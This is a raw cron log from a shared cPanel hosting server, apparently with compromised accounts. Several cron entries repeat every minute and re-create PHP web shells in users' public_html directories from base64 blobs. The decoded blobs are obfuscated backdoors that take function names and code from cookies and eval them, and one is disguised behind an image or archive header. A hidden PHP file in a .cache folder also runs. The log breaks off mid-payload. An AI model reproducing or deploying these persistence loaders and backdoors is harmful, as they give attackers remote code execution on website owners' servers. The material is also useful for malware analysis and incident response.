Mar  2 01:04:01 medusa CROND[8588]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:04:01 medusa CROND[8589]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:04:01 medusa CROND[8590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:04:01 medusa CROND[8591]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:04:01 medusa CROND[8593]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:04:01 medusa CROND[8596]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:04:01 medusa CROND[8598]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:04:01 medusa CROND[8599]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 01:04:01 medusa CROND[8601]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:04:01 medusa CROND[8605]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:04:01 medusa CROND[8606]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:04:01 medusa CROND[8609]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:05:02 medusa CROND[15946]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 01:05:02 medusa CROND[15991]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 01:05:02 medusa CROND[15992]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:05:02 medusa CROND[15995]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 01:05:02 medusa CROND[15996]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 01:05:02 medusa CROND[15999]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:05:02 medusa CROND[16000]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 01:05:02 medusa CROND[16001]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:05:02 medusa CROND[16003]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 01:05:02 medusa CROND[16004]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 01:05:02 medusa CROND[16006]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 01:05:02 medusa CROND[16009]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:05:02 medusa CROND[16013]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:05:02 medusa CROND[16014]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:05:02 medusa CROND[16015]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:05:02 medusa CROND[16016]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:05:02 medusa CROND[16017]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:05:02 medusa CROND[16010]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 01:05:02 medusa CROND[16023]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 01:05:02 medusa CROND[16024]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:05:02 medusa CROND[16034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:05:02 medusa CROND[16039]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 01:05:02 medusa CROND[16021]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 01:05:02 medusa CROND[16020]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 01:06:02 medusa CROND[21846]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:06:02 medusa CROND[21848]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 01:06:02 medusa CROND[21889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:06:02 medusa CROND[21890]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:06:02 medusa CROND[21891]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:06:02 medusa CROND[21892]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:06:02 medusa CROND[21893]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:06:02 medusa CROND[21896]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:06:02 medusa CROND[21895]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 01:06:02 medusa CROND[21901]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAk